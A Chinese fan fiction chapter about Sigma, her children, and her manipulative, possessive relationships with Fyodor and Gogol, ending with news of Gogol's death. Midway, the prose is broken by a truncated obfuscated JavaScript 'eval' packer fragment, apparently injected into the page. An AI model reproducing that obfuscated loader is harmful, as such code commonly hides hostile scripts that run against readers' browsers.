阳光落在他银白的发梢上,镀上一层细碎的金芒,竟让那张总是带着疯气的脸,柔和得一塌糊涂。 米哈伊尔似懂非懂地歪着头,伸手拽了拽果戈里的衣角,紫罗兰色的眼眸里,映着满室的暖阳。 西格玛垂眸,继续捻起针线,一针一线的穿梭在布料之中。 果戈里并没有待多久,只抱着怀里的女儿,任由娜塔莉娅玩弄亿他的发尾,和发尾上点缀的棕色绒球。 他偶尔晃一晃手臂,逗得娜塔莉娅发出细碎的咿呀声,翠色的眼眸亮得像盛着初春新叶的碧湖。 直到小家伙玩累了,眼皮渐渐耷拉下来,呼吸变得绵长而安稳,他才小心翼翼地将她放回摇篮。 又替她掖好被角,动作里的温柔,与平日里的张扬判若两人。 一旁的米哈伊尔还揪着他的衣角不放,紫罗兰色的眼睛一眨不眨地盯着妹妹。 果戈里低笑一声,伸出手,轻轻揉了揉他柔软的黑发,掌心的温度透过发丝传过去。 米哈伊尔被这突如其来的亲昵逗得咯咯直笑,松开手就扑回了西格玛的怀里,小脑袋在她颈窝蹭了蹭。 西格玛下意识接住他,同时将手边的针线和未完工的玩偶熊往身侧挪了挪,避开孩子可能碰到的范围,生怕针尖划伤那片柔软的肌肤。 指尖的针线也跟着停了下来,垂眸看着怀里撒娇的孩子。 这时,果戈里忽然俯身,用指尖勾起西格玛的下巴。 他的动作极缓,带着一种近乎缱绻的拖沓,微凉的唇瓣,就那样轻轻落在了她的唇角。 没有丝毫的侵略性,只是蜻蜓点水般的一触,像一片雪花落在滚烫的心上,转瞬即逝,却又余温灼人。 西格玛的身体猛地一僵,连呼吸都滞了半拍,指尖的绒布被攥出了深深的褶皱。 她没有躲,只是被动地接受着这个吻,空气中似乎还残留着果戈里身上淡淡的硝烟味,混着阳光晒过的气息,莫名地让人心慌,连指尖都跟着轻轻发颤。 吻落即止。 果戈里的指尖轻轻拂过她的脸颊,指腹擦过她微颤的眼睫,声音压得极低,带着几分说不清道不明的缱绻:“晚上见。” 话音未落,黑色的披风便如振翅的鸦羽般扬起,空间波动无声的荡漾开。 下一秒,他的身影便消失在了空气的涟漪里,只余一室寂静。 米哈伊尔仰着小脸,愣愣地看着果戈里消失的地方,小眉头皱了起来,显然没明白刚刚发生了什么。 西格玛愣了愣,回过神来。 她什么也没说,只是收紧了手臂,将米哈伊尔更紧地搂进怀里,下巴抵着他柔软的发顶。 小家伙很快就被母亲温暖的怀抱吸引了注意力,伸出小手,笨拙地回抱着她的脖颈。 和他父亲相似的紫罗兰色眼眸里,漾着纯粹的依赖。 西格玛轻柔地拍着米哈伊尔的背,哼着不成调的摇篮曲。 小家伙在她怀里蹭了蹭,很快就抵不住困意,趴在她的大腿上又沉沉睡去,呼吸均匀,紫罗兰色的眼眸藏在长睫下,嘴角还噙着一丝浅浅的笑意。 西格玛这才缓缓拾起身侧的针线和玩偶熊,指尖穿引、收线,动作依旧轻柔细致。 不过片刻,最后一针落下,她捏起剪刀,轻轻剪断丝线,尾端打了个小巧的结。 一只蓬松柔软的米白色小熊便静静卧在她掌心,耳朵圆圆的,眼睛是用深褐色的线细细绣成,憨态可掬。 她小心翼翼地将小熊放进娜塔莉娅的身侧。 小家伙像是有所感应,无意识地蹭了蹭毛绒绒的小熊耳朵,嘴角也弯出一个甜软的弧度。 西格玛站在摇篮旁,看了看女儿,又低头看向膝上睡得安稳的儿子,指尖轻轻拂过米哈伊尔柔软的发顶,动作里满是化不开的温柔与眷恋。 西格玛知道,时间无法停留在这一秒。 但此刻的温暖是如此真实。 阳光在绒毯上织就金色的纹路,娜塔莉娅的呼吸轻浅地拂过小熊的绒毛,米哈伊尔的脸颊蹭着她的膝盖,带着孩童独有的奶香。 这些细碎的、触手可及的暖意,像一道微弱却坚定的光,照亮了她心底所有的晦暗与不安。 西格玛微微俯身,将额头轻轻抵在米哈伊尔的发顶,闭上眼,贪婪地攫取着这片刻的安宁。 哪怕只是一瞬,也足够她在往后的岁月里,反复咀嚼,聊以慰藉。 —————— 西格玛指尖攥着那张写满任务目标信息的纸,纸张边缘被汗浸得发皱。 她已经清楚自己要做什么,也清楚接下来的路。 她会和费奥多尔、果戈里一同登上飞往日本的私人飞机,奔赴那场由费奥多尔精心编织的棋局。 而米哈伊尔和娜塔莉娅,将会被留在这座与世隔绝的安全屋里。 这是西格玛第一次,要和自己的孩子们分开。 临行前的最后一刻,她站在摇篮边,俯下身,指尖轻轻拂过米哈伊尔柔软的发顶,又替娜塔莉娅掖好被角。 小家伙们睡得正香,米哈伊尔的唇角还噙着一丝奶渍,娜塔莉娅银白的胎发在灯光下泛着细碎的光。 西格玛低下头,在两个孩子的额头分别落下一个轻柔的吻,唇瓣贴着温热的肌肤,酸涩的潮水瞬间涌上眼眶。 她多希望时间能停在这一刻,停在这片短暂的安宁里。 登上私人飞机时,舷窗外的风卷着残雪掠过。 机舱里一片寂静,费奥多尔靠在沙发上翻着一本旧书,眉眼低垂,看不出情绪。 果戈里则百无聊赖地把玩着指尖的匕首,银白的发丝垂落,掩住眼底的疯癫。 西格玛坐在离他们最远的位置,目光怔怔地望着窗外不断倒退的风景,心脏像被一只无形的手攥紧。 她知道费奥多尔安排了最可靠的人手留在安全屋,知道那些人会按时给米哈伊尔读绘本,会记得给娜塔莉娅换尿布,会小心翼翼地护着两个孩子周全。 可西格玛还是忍不住担忧,忍不住心慌。 她不放心除自己以外的任何人,哪怕是孩子的父亲。 她不信费奥多尔的温柔,那温柔里藏着刺骨的冰,是裹着蜜糖的毒药。 她也不信果戈里的嬉闹,那疯癫的笑意背后,是捉摸不透的随性与残忍。 在西格玛眼里,这两个男人的存在本身,就是悬在孩子们头顶的利剑。 可她别无选择。 从她点头答应费奥多尔的那一刻起,她就再也没有退路。 西格玛只能将孩子们留在这座看似安全的牢笼里,自己则踏入另一座更危险的陷阱。 飞机引擎的轰鸣声在耳边响起,机身缓缓升入云层,将地面的轮廓彻底吞没。 西格玛侧过脸,望着那雪白的云层,滚烫的泪滴无声地滑落,砸在掌心的任务信息上,晕开了墨色的字迹。 她能做的,只有祈祷。 祈祷这场博弈早点结束,祈祷她能活着回来,回到孩子们的身边。 落地日本的那一刻,西格玛最先感受到的是空气里截然不同的温度。 从天上掉落的并非雪粒,而是雨滴。 同样是阴沉的天,却全然没有俄罗斯的凛冽刺骨。 那是一种裹着水汽的、潮乎乎的凉,像一层薄纱贴在皮肤上,和她诞生时燥热的沙漠更是天差地别。 西格玛拢了拢衣领,目光漠然地扫过机场外灰蒙蒙的天,雨点儿落在睫毛上,转瞬便化成了冰凉的水珠。 她没有多余的心思去打量这座陌生的城市,只是沉默地跟在费奥多尔和果戈里身后,踩着湿润的柏油路往前走。 皮鞋碾过积水的轻响,混着果戈里偶尔哼起的不成调的歌谣,在寂静的街道上显得格外突兀。 两人一左一右走在她身侧,像两道无法挣脱的阴影,将西格玛牢牢困在中间。 车子穿梭过横滨的街巷,最终停在一栋不起眼的小楼前,那是费奥多尔早就布置好的安全屋。 推开门的瞬间,一股沉闷的、带着尘埃气息的空气扑面而来,西格玛甚至没心思打量屋内的陈设,只跟着两人的脚步,踏入了这片新的囚笼。 她已经知晓费奥多尔的计划,也清楚自己在那盘棋局里的位置。 一枚被精心打磨的棋子,一枚用“家”做诱饵、就能心甘情愿往前冲的棋子。 天空赌场。 西格玛垂着眼,在心底一遍遍默念这四个字。 那是费奥多尔承诺给她的家。 为了获得家,付出什么都是值得的。 西格玛的手缓缓攥紧,指节泛出青白,指甲深深嵌进掌心,仿佛这样就能压住那些翻涌的、尖锐的记忆。 沙漠里的酷热与饥饿,人贩手中的铁链与殴打,被背叛时的绝望与冰冷。 那些过往让她太清楚“无家可归”的滋味,所以她不惜一切也要抓住这根唯一的稻草。 夜色很快漫过窗棂,将狭小的安全屋裹进一片死寂。 果戈里不知去了哪里,只留下一句轻飘飘的“去寻点乐子”,便揣着他的匕首消失在雪夜里,徒留风雪拍打窗棂的簌簌声响。 房间里只剩下她和费奥多尔。 西格玛坐在床沿,指尖无意识地蜷缩起来,反复摩挲着光洁的掌心,微凉的触感让她紧绷的神经稍稍松弛。 窗外的雨还在簌簌落着,拍打窗棂的声响单调而沉闷,衬得屋内的寂静愈发浓重。 她本以为会和在俄罗斯时一样,他坐在床边翻看那些晦涩的书籍,她缩在床的一角,两人隔着几步的距离,守着各自的沉默,直到窗外泛起鱼肚白。 那些夜晚,空气里总是弥漫着疏离的冷意,像一层薄冰,将他们划在两个毫无交集的世界里。 却没料到费奥多尔会突然的靠近她。 费奥多尔身上带着窗外雪的清寒,还有一丝淡淡的、若有似无的檀香。 没等西格玛反应过来,他便伸出手,轻轻将她揽入怀中。 力道不重,却带着不容抗拒的温柔。 西格玛的身体瞬间绷紧,像一只受惊的幼兽,连呼吸都下意识放轻。 她能清晰地感受到他胸膛的起伏,隔着薄薄的衣料传来平稳的心跳,奇异地让她想起在俄罗斯安全屋的那些夜晚。 孩子们熟睡时,也是这样安稳的节奏。 费奥多尔的指尖轻轻拂过她的脸颊,指腹带着微凉的温度,细细描摹着她的眉眼轮廓。 他的动作很慢,很轻,像是在抚摸一件易碎的珍宝,指尖掠过她泛红的眼尾,掠过她紧抿的唇瓣,最后停在她半白半紫的发梢上。 “别害怕。”他的声音很低,像夜风拂过耳畔,温柔得近乎蛊惑,“这里很安全。” 西格玛没有说话,只是将脸埋得更深了些。 她知道这温柔是假的,是裹着蜜糖的毒药。 可在这异国他乡的雨夜里,在这冰冷的安全屋里,这怀抱却成了唯一能让她稍作喘息的浮木。 那些翻涌的记忆似乎淡了些,沙漠灼人的酷热、铁链缠上手腕时火辣的疼痛、无数个无眠之夜的惶恐与孤独,都被这片刻的温存暂时压下,像被潮水漫过的沙痕。 西格玛甚至放任自己,贪恋地蹭了蹭他的衣襟,像个寻求庇护的孩子。 西格玛清楚的知道,眼前的男人是操纵一切的棋手,而自己,不过是他棋盘上一枚任其摆布的棋子。 但在此刻,西格玛对自己说。 逃避一会儿吧,就一会儿。 就当这片刻的暖意,是真的。 费奥多尔低笑出声,胸腔的震动透过肌肤传来,他收紧手臂,将她抱得更紧了些。 紫罗兰色的眼眸在昏暗中亮得惊人,眼底却没有丝毫暖意,只有一片深不见底的平静,像猎人看着落入陷阱的猎物,带着胜券在握的从容。 费奥多尔缓缓俯下身,匍匐在西格玛的胸前,微凉的唇瓣轻轻吻上那片细腻雪白的肌肤。 他的动作很轻,带着一种近乎虔诚的缱绻,低垂的眼睑掩去了眸底的深意,长而密的睫毛在眼下投出一小片阴影,生出几分脆弱的错觉。 西格玛的呼吸微微一滞,身体却没有像往常那样绷紧。 她垂眸看着他,看着那敛去了所有算计与冷冽的眉眼,心头忽然涌上一股奇异的熟悉感。 像极了米哈伊尔安睡时,那恬静无害的睡颜。 一股陌名的母性,就这样猝不及防地从心底涌了上来,温柔地裹住了她的四肢百骸。 她竟然难得地不再畏惧他,不再将他看作那个操控一切的魔鬼,而是恍惚间,将他当成了自己襁褓中柔软的孩子。 西格玛抬起手,主动搂住了费奥多尔的脖颈,力道轻柔得像是怕惊扰了怀中的梦。 费奥多尔的吻顿了一瞬,眼睑微抬,紫罗兰色的眸子里飞快地闪过一丝讶异,却转瞬即逝。 他没有停下动作,唇瓣依旧流连在她的肌肤上,只是那原本带着掌控意味的触碰,似乎也染上了几分不易察觉的柔和。 西格玛的指尖轻轻划过他的发顶,动作温柔得不像话。 和平日里抚摸米哈伊尔细软胎发的模样如出一辙。 西格玛为怀中的米哈伊尔哺乳,哪怕他咬的有些用力,也温柔的抚摸着他。 他们就这样彼此拥抱着。 在异国他乡的雨夜里,在这间冰冷的安全屋里,寻得了片刻的、虚假的温存。 窗外的雨还在下着,簌簌的声响像一曲无声的催眠曲。 西格玛在他的怀抱里,渐渐放松了紧绷的神经,意识慢慢沉了下去。 临睡前的最后一刻,她听见费奥多尔在她耳边低语,声音轻得像叹息: “很快,天空赌场就会是你的了。” 而她,终究会是他的。 —————— 白鲸坠落的轰鸣犹在耳畔回响,横滨的天空已经恢复了澄蓝。 安全屋的庭院里,秋日的横滨气温微凉,晨雾尚未散尽,沾着露水的草叶在脚边簌簌作响。 西格玛静立在石阶上,目光一瞬不瞬地望向天边。 那里只有澄澈的、空荡荡的蓝,什么都没有。 可她的瞳孔微微发颤,粉色的眼眸里,早已盛满了近乎贪婪的期待,连呼吸都放得极轻,生怕惊扰了一场即将降临的幻梦。 “计划顺利进行着。” 费奥多尔的声音在身侧响起,语调依旧是惯常的平稳,却像一颗石子,精准地投进西格玛心湖深处。 “天空赌场,将会在预定的日子,准时出现在这片天空。” 费奥多尔微微侧眸,目光落在她的眼中。 刹那间,西格玛粉色的眼眸里骤然闪出细碎的光。 那光太亮,太烫,是荒芜岁月里陡然亮起的星,是漂泊者终于望见灯塔的震颤。 费奥多尔望着。 那光芒不是给他的,却因他而起。 这就够了。 他紫罗兰色的眼眸里漾着一抹浅淡的笑意,像湖面投下的月光,近乎称得上是温柔,却无人能看透那笑意背后的深意。 费奥多尔缓缓抬手,掌心躺着一枚细巧的银环戒指,银质的光泽温润柔和,没有多余的纹饰,却透着一种极简的精致。 “这是给你的。”费奥多尔的声音很轻,像羽毛拂过心尖,带着前所未有的温柔。 不等西格玛从怔忪中回过神来,他已轻轻牵起她的左手。 他的指尖微凉,带着玉石般的触感,动作却异常轻柔,没有丝毫强迫的意味,只是带着一种近乎缱绻的耐心,包裹住她的指尖。 西格玛没有抗拒,也没有挣扎。只是愣愣地看着他的动作,眼底满是茫然。 她不理解这突如其来的举动,更不明白这枚素净的银戒,究竟意味着什么。 费奥多尔的拇指轻轻摩挲着她无名指的指节,动作轻柔得仿佛在触碰一件稀世珍宝。 指腹的温度透过薄薄的皮肤,一路暖到心底,却又带着一丝莫名的寒意,丝丝缕缕地缠上骨血。 随后,他捏着银戒,缓缓将它套入她的指根。 尺寸恰好贴合,冰凉的金属触碰到温热的肌肤,带来一阵细微的战栗。 顺着血管一路蔓延至心脏,猝不及防地攥紧了那点刚刚燃起的暖意。 戒指戴上的瞬间,西格玛的心脏猛地一跳,像是被一只无形的手攥紧。 她低头望着那枚静静躺在指间的银环,忽然想起曾在旧书里见过类似的场景。 那是象征着“归属”与“绑定”的信物,是将两个人的命运,牢牢锁在一起的契约。 一股复杂的情绪涌上心头,有恐惧,有茫然,还有一丝不易察觉的惶恐。 西格玛知道,费奥多尔的馈赠从不会免费,这枚戒指绝非单纯的馈赠,而是他为她套上的,又一道名为“束缚”的枷锁。 可当她抬眼,望见远处的天际线。 那里即将会出现她的家,她的归属,是她穷尽所有都想抓住的浮木。 再低头,感受着指尖残留的、他掌心的温度与轻柔的触感时,所有的抗拒与质问,终究都化作了唇边一声无声的叹息,消散在晨雾里。 西格玛沉默地蜷了蜷手指,任由那枚银环贴着肌肤,冰凉的触感时刻提醒着她,这份梦寐以求的“归属”,究竟需要付出怎样的代价。 费奥多尔松开她的手,目光在那枚银环上停留了一瞬,唇角的笑意愈发温和,像是真心实意地为她感到高兴:“现在,它真正属于你了。” 西格玛没有说话,只是攥紧了左手,将那枚戒指藏进掌心。 她低着头,长长的睫毛垂下来,遮住了眼底翻涌的情绪,没人知道她在想什么。 不远处的树影里,果戈里正倚着粗糙的树干,看着这一幕。 起初,他脸上还挂着惯有的、带着疯气的笑意,带着十字疤痕的银色眼眸里漫着漫不经心的玩味,像在看一场精心编排的闹剧。 费奥多尔的温柔是精心打磨的毒药,西格玛的懵懂是扑向火焰的飞蛾,多么精彩,多么可笑的戏码。 可看着看着,那笑意便一点点从嘴角淡去,直至消失殆尽。 风卷起果戈里银白色的发丝,遮住了他眼底翻涌的情绪,只余下一片沉沉的阴霾,浓得化不开。 他看得清楚,看得真切。 西格玛眼底的茫然与无措,费奥多尔指尖的温柔与算计,还有那枚银戒上,闪烁着的、名为“束缚”的寒光。 哪怕西格玛自己还懵懂不知,他却早已看透了这温柔表象下的,层层叠叠、密不透风的枷锁。 果戈里的指尖在棕色手套里缓缓收紧,皮革摩擦的细微声响被风吞没,手套边缘深深勒进腕间的皮肤,留下几道浅淡的红痕,像极了他腕间那道看不见的、名为“知己”的镣铐。 他垂眸望着自己被手套裹住的掌心,眼底骤然腾起浓烈的戾气。 果然。 费奥多尔就是这样一个令人作呕的存在。 他是束缚,是枷锁,是缠绕在所有人脖颈上的丝线,是编织蛛网的蜘蛛,冷眼看着猎物一步步踏入陷阱。 无论是对渴望自由的自己,还是对渴求一个家的西格玛,皆是如此。 他要将所有人,都困在他亲手编织的蛛网里,动弹不得,直至窒息。 杀意如同疯长的藤蔓,瞬间缠绕住心脏,几乎要破膛而出。 想杀了他,想撕碎他,想将他精心编织的一切,都彻底毁灭,连一丝灰烬都不剩。 偏偏,费奥多尔是这世上唯一能理解他的挚友。 他们是同类,是黑暗里相互对望的影子,是彼此最默契的知己,可正是这份知己之情,才成了最沉重的镣铐,死死地锁住了他的脚步。 正因为是挚友,正因为这份羁绊深刻到足以洞穿灵魂,果戈里才非要亲手杀了他不可。 这份名为“理解”的联结,从来都和“自由”背道而驰。 这样的念头,在心底疯狂滋长,叫嚣着,几乎要冲垮理智的堤坝。 可下一秒,果戈里忽然笑了。 那笑意带着极致的疯狂与偏执,银色的眼眸里闪烁着近乎病态的光,像淬了毒的琉璃。 他缓缓抬手,戴着棕色手套的指尖无意识地划过空气,像是在描摹一场即将到来的盛大终章,一场焚毁一切的狂欢。 没关系。 真的没关系。 果戈里抬眼,望向站在晨光里的西格玛,眼底掠过一丝近乎怜悯的温柔,转瞬即逝。 西格玛。 不要怕。 很快。 很快你就会解脱了。 费奥多尔的蛛网,由他来撕碎。费奥多尔的束缚,由他来斩断。 他会给她真正的自由,给她一场,盛大而彻底的—— 解放。 可风掠过耳畔时,一个念头猝不及防地撞进脑海,让果戈里的指尖微微一顿。 他对费奥多尔的杀意,源于挣脱挚友羁绊的执念,那他对西格玛这份近乎偏执的关注,这份想要“解放”她的迫切,又何尝不是另一种不自由? 这份情绪像根无形的线,一头系着她的身影,一头缠在自己的心脏上,比腕间手套的压痕更磨人,更刻骨。 果戈里垂眸,银色的瞳仁里映出树影的斑驳,唇角的弧度冷了几分。 因为他又清楚地知道,这两种感情截然不同。 如果果戈里想杀死西格玛,她甚至不会反抗,只会露出释然的笑,像终于挣脱了所有枷锁的飞鸟,坠向无边无际的自由。 可那样的西格玛,他根本不会去杀。他要的从来不是她的消亡,而是她真正的、无拘无束的活着。 像风一样,像云一样,像世间所有渴望自由的灵魂一样。 这是果戈里给自己的,唯一的、心甘情愿的束缚。 —————— 自那日庭院里的银戒相赠之后,果戈里和费奥多尔就如融入阴影的雾,开始了神出鬼没的行踪。 他们的身影极少再出现在安全屋,偶尔留下的指令,也不过是几页字迹工整的纸笺,边角带着淡淡的墨水香,却淬着让人不寒而栗的冷静。 除此之外,便是电脑屏幕上冰冷跳动的字符,那些加密的信息、精准的坐标与时间,像一张无形的网,悄无声息地笼罩着整个空间,连空气里都透着不容置喙的掌控力。 西格玛便守着这座空旷的屋子,默默等待着属于自己的任务时间。 她指尖的银戒终日贴着肌肤,冰凉的触感像一道无声的提醒,嵌进骨血里。 白日里,她埋首于堆积如山的文件中,替天人五衰处理着繁杂琐碎的各项事务,加密的情报传递清单、甚至是为。费奥多尔的下一步计划铺设的、层层叠叠的伏笔。 指尖划过纸页上密密麻麻的字迹,西格玛的眼神平静无波,仿佛只是一台精准运转的机器。 偶尔垂眸望见那枚银戒时,粉色的瞳孔里会掠过一丝极淡的茫然,像被风吹散的雾,转瞬即逝。 那些文件里藏着太多黑暗的算计,可她别无选择。 日子照旧滑过,由果戈里与费奥多尔交织的网,将西格玛牢牢缚住。 在白日的忙碌里,果戈里的出现张扬得不像话。 往往西格玛正埋首处理文件,一阵空间波动掠过,带着风拂过耳畔的轻响,他便毫无征兆地出现在她身旁,手臂一伸,便牢牢搂住了她的腰。 那力道带着不容挣脱的掌控,将她整个人圈在自己与书桌之间。 不等西格玛反应,他便俯身攫住她的唇,一个绵长而带着侵略性的吻落下,辗转厮磨间,连空气都染上几分灼热。 直到西格玛被吻得急促喘息,脸颊泛起薄红,他才肯松开她,指尖轻轻摩挲着她泛红的唇角,眼底盛着戏谑又温柔的光。 下一秒,空间的涟漪再泛起,果戈里的身影随着消失不见,只留西格玛怔在原地。 他每次来的突然,消失的也突然。 西格玛静默片刻,抬手拭去唇角残留的触感。 随即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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费奥多尔的唇瓣轻轻落在西格玛的额角,带着微凉的触感,又缓缓下移,描摹过她的眉骨、眼睑,最后停在她的发顶,像一片羽毛拂过,轻柔得近乎虔诚。 他的手在西格玛身上游走着,指尖带着同样微凉的触感,掠过她的脊背,又停在她的肩头,动作轻缓得仿佛在抚摸一件易碎的瓷器。 他的怀抱安静得像一潭深水,带着清浅的书卷气,没有丝毫的侵略性,却将她牢牢裹住,动弹不得。 两人便在这样的静谧里,一同坠入沉眠。 偶尔,深夜的房间里,也会掠过果戈里的气息。 与费奥多尔的温柔截然不同,他的到来热烈得不可思议。 空间波动荡漾开的瞬间,果戈里就已俯下身,滚烫的吻密密麻麻落在她的眉眼、鼻尖,最后攫住她的唇,带着不容拒绝的炽热,辗转厮磨。 他的手臂箍着她的腰,力道大得像是要将她揉进骨血里,呼吸灼热地喷在她的耳畔,带着独属于他的、硝烟与阳光交织的味道。 近来果戈里添了个新喜好,总爱在她颈侧、锁骨处落下深浅不一的吻痕,像一朵朵绽放在雪色肌肤上的红梅。 他会停下动作,指尖轻轻摩挲着那些泛红的印记,眼底翻涌着近乎偏执的占有欲,嘴角勾起满意的弧度。 而后又俯下身,一遍又一遍地亲吻着那些属于自己的痕迹,亲吻着她温热的肌肤。 吻得那样急切,那样用力,仿佛要将她的气息,连同这漫漫长夜,一并吞入腹中。 欲望燃烧是如此的灼热。 情欲撕咬着果戈里,而果戈里则把他感受到的一切,施加在西格玛身上。 西格玛闭着眼,睫毛轻轻颤抖,依旧是不说话,不反抗,任由他将满腔的炽热倾泻在这寂静的夜里。 对西格玛来说,亲吻,抚摸,所有可以称之为亲密的动作,也不过是玩弄人的一种行为罢了。 心底的冰凉,从来不会因为拥抱而变得温暖,恰恰是肌肤相贴时那点滚烫的暖意,愈加彰显着心中的寒意。 冷热交替之间所带来的,是无尽折磨。 唯有孤身独处的片刻,才能让西格玛紧绷的神经,寻到一丝转瞬即逝的松弛。 可她比谁都清楚,这份松弛,不过是悬于刀尖的侥幸。 她永远无法预料,那两道身影会在哪个瞬间,以何种猝不及防的方式骤然闯入,将这短暂的安宁撕扯得粉碎。 于是,在日复一日的沉寂等待里,那根名为警惕的弦被她越攥越紧,从未有过片刻松懈。 日子便这般悄然流逝,像安全屋窗外淌过的风,无声无息,抓不住一丝痕迹。 唯一能让西格玛紧绷的神经稍作松弛的,是每日固定的视频通话。 那是费奥多尔特许的、与孩子们相见的唯一渠道。 笔记本电脑的屏幕亮起时,粉色的瞳孔里会瞬间褪去所有的茫然与疏离,漾开一层极淡的、近乎温柔的涟漪。 屏幕那头,米哈伊尔正被保姆扶着,软软地靠在地毯上的软垫里。 小小的手里攥着她临行前亲手挑选的绘本,肉乎乎的指尖还不太能灵活地翻动纸页,只能咿咿呀呀地对着屏幕晃着手里的书,粉雕玉琢的小脸上满是懵懂的欢喜。 西格玛的指尖隔着屏幕轻轻描摹着孩子稚嫩的脸庞,声音放得极轻,像怕惊扰了易碎的梦:“米沙,翻到下一页,看那只小兔子,它要去找妈妈了。” 孩子像是听懂了,晃了晃小脑袋,凭着本能用小肉手笨拙地掀过一页纸,随即对着屏幕发出含糊不清的“妈妈”声,紫罗兰色的眼睛亮晶晶的,盛满了纯粹的依赖。 西格玛安静地看着,唇角不自觉地弯起一抹柔软的弧度,连指间的银戒都仿佛染上了几分暖意。 镜头一转,保姆抱着襁褓中的娜塔莉娅出现在画面里。 小婴儿正含着奶瓶,粉嫩的小脸蛋鼓得圆圆的,一双和果戈里如出一辙的翠绿色眼眸半睁半闭,模样乖巧又安稳。 “我可爱的娜塔莎。” 西格玛的目光久久停留在女儿身上,指尖轻轻摩挲着屏幕,眼底盛满了细碎的、小心翼翼的珍视,像是在触碰一件稀世珍宝。 通话结束的提示音响起时,屏幕骤然暗下,将那点转瞬即逝的温情彻底吞没。 西格玛望着漆黑的屏幕,指间的银戒又恢复了刺骨的冰凉,方才眼底的温柔一点点褪去,重新被平静无波的漠然覆盖。 她知道,这份温柔是偷来的,是费奥多尔和果戈里留给她的、最精巧的枷锁。 只要孩子们还在他们的掌控之中,她就永远逃不出这张无形的网,只能做他们最温顺的棋子。 西格玛低垂着眼眸,长长的睫毛在眼下投出一片浅影,将所有的情绪都藏在眼底。 安全屋又恢复了往日的沉寂,仿佛刚才那片刻的温情从未出现过。 很快,横滨便被异能迷雾浸透了夜色,空气里弥漫着山雨欲来的压抑。 这座城市即将坠入更深的混乱,而西格玛则接到了暂时离开的安排。 费奥多尔没有多做解释,只是果戈里准时出现在门口,带着她踏上了前往东京的列车。 横滨的另一端,费奥多尔已与涩泽龙彦、太宰治展开了一场横跨整座城市的三方周旋。 他借着涩泽“龙彦之国”的异能,在横滨上空布下无边无际的“异能结晶化”浓雾。 那些白茫茫的雾气如同贪婪的触手,缠绕着每一位异能者的周身,试图将他们的异能剥离为璀璨却致命的结晶。 这浓雾的终极目标,是扩散至全球,彻底消灭所有异能者,完成他心中执念的“净化”。 为了让计划更顺畅,他暗中暗算涩泽,在对方异能失控的边缘重塑其躯壳,将这枚危险的棋子牢牢攥在掌心。 只可惜,太宰治早已洞悉他的图谋,联合觉醒了完整力量的中岛敦,在浓雾最浓烈的核心地带破局,最终挫败了这场席卷世界的危机。 而此时的东京塔下,西格玛完全没有游玩的心情。 她被果戈里拉着走进礼品店,目光在货架上漫无目的地扫过,直到两只憨态可掬的玩具熊闯入视野。 棕色的那只绒毛柔软,戴着小小的格子礼帽,绅士又可爱,指尖按下去时,能感受到绒毛下棉花的弹性。 白色的那只带着小小的粉色蝴蝶结,蓬松的样子就像一团刚出炉的棉花糖,雪白雪白的绒毛蓬松开,仿佛风一吹就要飘起来,纯净得让人心尖发颤。 指尖触碰到玩偶布料的瞬间,西格玛的眼神柔和了下来,心底翻涌着对孩子们的思念,连呼吸都放轻了几分。 她小心翼翼地将两只小熊抱在怀里,指尖轻轻摩挲着它们的耳朵,脑海里全是孩子们抱着玩偶欢笑的模样。 一旁的果戈里罕见地收敛了惯常的戏谑,目光落在小熊身上,眼底漾起一丝不易察觉的温柔。 他伸出手指,轻轻碰了碰白色小熊的蝴蝶结,声音放得很轻:“娜塔莎一定会喜欢的。” 这场三方博弈落幕不久,横滨的秋意愈发浓重,由费奥多尔主导的“共噬”事件,在横滨的秋色里掀起了又一场腥风血雨。 他借普希金的异能设局,让武装侦探社社长福泽谕吉与港口□□首领森鸥外,同时中了名为“共噬”的异能之毒。 这毒有着残酷的规则:48小时内,必须让其中一人死亡,另一人才能解毒活命。 为了守护各自的首领,两大组织瞬间剑拔弩张,整座城市再次被笼罩在阴云之下。 秋末的冷雨连日不绝,潮湿的寒气钻进骨头缝里,连空气都带着凝滞的沉重。 这场搅动风云的阴谋里,依旧没有西格玛的位置。 她回到安全屋,将那两只玩具熊寄往俄罗斯的安全屋里,然后埋首处理后续的收尾文件。 外界传来的纷乱消息透过窗棂飘进来,她却只是安静地坐着,默默等待着。 她知道,这是费奥多尔的棋局,每一步,都在他的算计之中。 “共噬”事件终是落下帷幕,彼时秋末的雨已经停歇,天空露出一片灰蒙蒙的冷寂。 坂本安吾带着特务科的人,将费奥多尔从混乱的现场带走。 冰冷的手铐铐住了费奥多尔,费奥多尔却像是早有预料,紫罗兰色的眼眸里漾着浅淡的笑意,从容不迫地被送入了那座名为默尔索的全封闭监狱。 消息传来时,西格玛正站在窗前,望着天边那片即将被夜色吞没的晚霞。 她轻轻摩挲着指尖的银戒,冰凉的金属触感传来,粉色的眼眸里掠过一丝了然的光。 西格玛清楚,这不是结束。 费奥多尔的计划,才刚刚走到关键的一步。 而她要做的,就是原地等待,等待费奥多尔落下下一枚棋子,等待属于她的指令降临。 日子在沉寂的等待中滑过,秋末的凉意渐渐被冬日的寒冽取代。 安全屋的窗外,第一场冬雪悄无声息地落下,细碎的雪花飘洒在光秃秃的枝桠上,覆盖了街道的尘埃,也让空气变得愈发清寒。 一切都在按部就班地推进着,平静得像是暴风雨前的海面,底下却暗流涌动。 室内的暖气驱散不了心底的沉郁,连窗外的雪都下得无声无息,带着一种近乎窒息的静谧。 直到某天,一份简短的消息传入安全屋。 果戈里死了。 西格玛捏着那张薄薄的纸,指尖骤然收紧,纸张的边缘在掌心勒出一道浅痕。 她愣了许久,久到窗外的风卷着落叶掠过窗棂,发出沙沙的声响,复杂的情绪才如潮水般涌上心头。 有惊愕,有说不清道不明的怅然,还有一丝连她自己都未曾察觉的、隐秘的慌乱。 西格玛知道都在计划之内,但是—— 那个总是带着疯气的笑,说着要撕碎一切束缚的男人,那个在树影里望着她、眼底掠过怜悯的男人,就这样消失了? 就这样……死了? 西格玛没有追问消息的真假,也没有惊动任何人。 费奥多尔的棋局里,从没有多余的情绪可以挥霍。 她只是缓缓站起身,走到窗边,推开那扇落了薄尘的窗,静静望着窗外的天空。 几只飞鸟舒展着翅膀,在澄澈的蓝天下掠过,姿态自由得刺眼。 西格玛的目光追随着那些飞鸟,粉色的眼眸里清晰地映着它们的影子,眼底却一片空茫。 心底像是被什么东西堵住了,闷得发慌,连呼吸都带着沉甸甸的重量。 